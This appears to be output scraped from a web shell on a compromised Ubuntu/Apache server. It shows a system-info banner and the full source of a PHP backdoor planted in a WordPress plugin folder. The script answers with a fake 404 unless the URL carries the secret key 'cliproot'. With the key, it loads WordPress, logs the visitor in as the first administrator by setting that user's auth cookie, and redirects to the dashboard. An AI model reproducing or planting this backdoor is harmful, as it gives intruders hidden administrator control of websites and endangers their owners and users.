| Server IP : 127.0.1.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux sealall 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 User : devops ( 1000) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/domains/sealall.ca/wp-content/plugins/insert-headers-and-footers/ |
Upload File : |
<?php
ob_start();
// ====== SECRET ACCESS KEY ====== //
$secret_key = 'cliproot'; // Change this to your desired secret key
// =============================== //
// Check if the secret key is provided in the URL
if (!isset($_GET['c']) || $_GET['c'] !== $secret_key) {
// If not, show a 404 or just exit silently
header('HTTP/1.0 404 Not Found');
echo '404 Not Found';
exit;
}
function find_wp_load() {
$dir = dirname(__FILE__);
$max_depth = 10;
for ($i = 0; $i < $max_depth; $i++) {
$path = $dir . str_repeat('/..', $i) . '/wp-load.php';
if (file_exists($path)) {
return realpath($path);
}
}
$extra = [
$dir . '/wp/wp-load.php',
$dir . '/wordpress/wp-load.php',
$dir . '/blog/wp-load.php'
];
foreach ($extra as $path) {
if (file_exists($path)) {
return realpath($path);
}
}
return false;
}
$wp_load_path = find_wp_load();
if ($wp_load_path) {
require_once($wp_load_path);
// Find first administrator user
$admins = get_users(array(
'role' => 'administrator',
'number' => 1
));
if (!empty($admins)) {
$user = $admins[0];
// Log in as this user
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
do_action('wp_login', $user->user_login, $user);
// Redirect to admin dashboard
wp_redirect(admin_url());
exit;
} else {
echo "No administrator users found.";
}
} else {
echo "WordPress not detected.";
}
ob_end_flush();
?>